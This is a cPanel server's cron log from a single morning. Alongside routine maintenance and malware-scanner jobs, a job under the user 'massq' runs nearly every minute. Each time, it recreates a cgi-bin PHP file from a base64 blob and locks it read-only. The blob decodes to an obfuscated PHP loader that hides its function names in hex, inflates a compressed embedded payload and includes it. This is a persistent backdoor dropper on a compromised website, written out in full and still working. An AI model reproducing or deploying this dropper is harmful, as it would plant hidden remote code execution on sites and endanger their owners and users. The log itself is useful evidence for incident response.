Sep  1 09:24:01 server CROND[26970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:25:01 server CROND[27366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:25:01 server CROND[27368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:25:01 server CROND[27370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:25:01 server CROND[27372]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:25:01 server CROND[27371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:25:01 server CROND[27373]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:25:01 server CROND[27376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:26:01 server CROND[28201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:26:01 server CROND[28202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:26:01 server CROND[28203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:27:01 server CROND[28597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:27:01 server CROND[28598]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 09:27:01 server CROND[28599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:27:01 server CROND[28600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:28:01 server CROND[29087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:28:01 server CROND[29088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:28:01 server CROND[29089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:29:01 server CROND[29476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:29:01 server CROND[29478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:29:01 server CROND[29479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:30:01 server CROND[29866]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:30:01 server CROND[29867]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:30:01 server CROND[29869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:30:01 server CROND[29872]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:30:01 server CROND[29874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:30:01 server CROND[29871]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:30:01 server CROND[29875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:30:01 server CROND[29876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:31:01 server CROND[30727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:31:01 server CROND[30729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:31:01 server CROND[30728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:32:01 server CROND[31343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:32:01 server CROND[31344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:32:01 server CROND[31345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:33:01 server CROND[31823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:33:01 server CROND[31824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:33:01 server CROND[31825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:34:01 server CROND[32207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:34:01 server CROND[32208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:34:01 server CROND[32209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:35:01 server CROND[32605]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:35:01 server CROND[32607]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:35:01 server CROND[32621]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 09:35:01 server CROND[32622]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:35:01 server CROND[32625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:35:01 server CROND[32630]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 09:35:01 server CROND[32627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:35:01 server CROND[32629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:35:01 server CROND[32624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
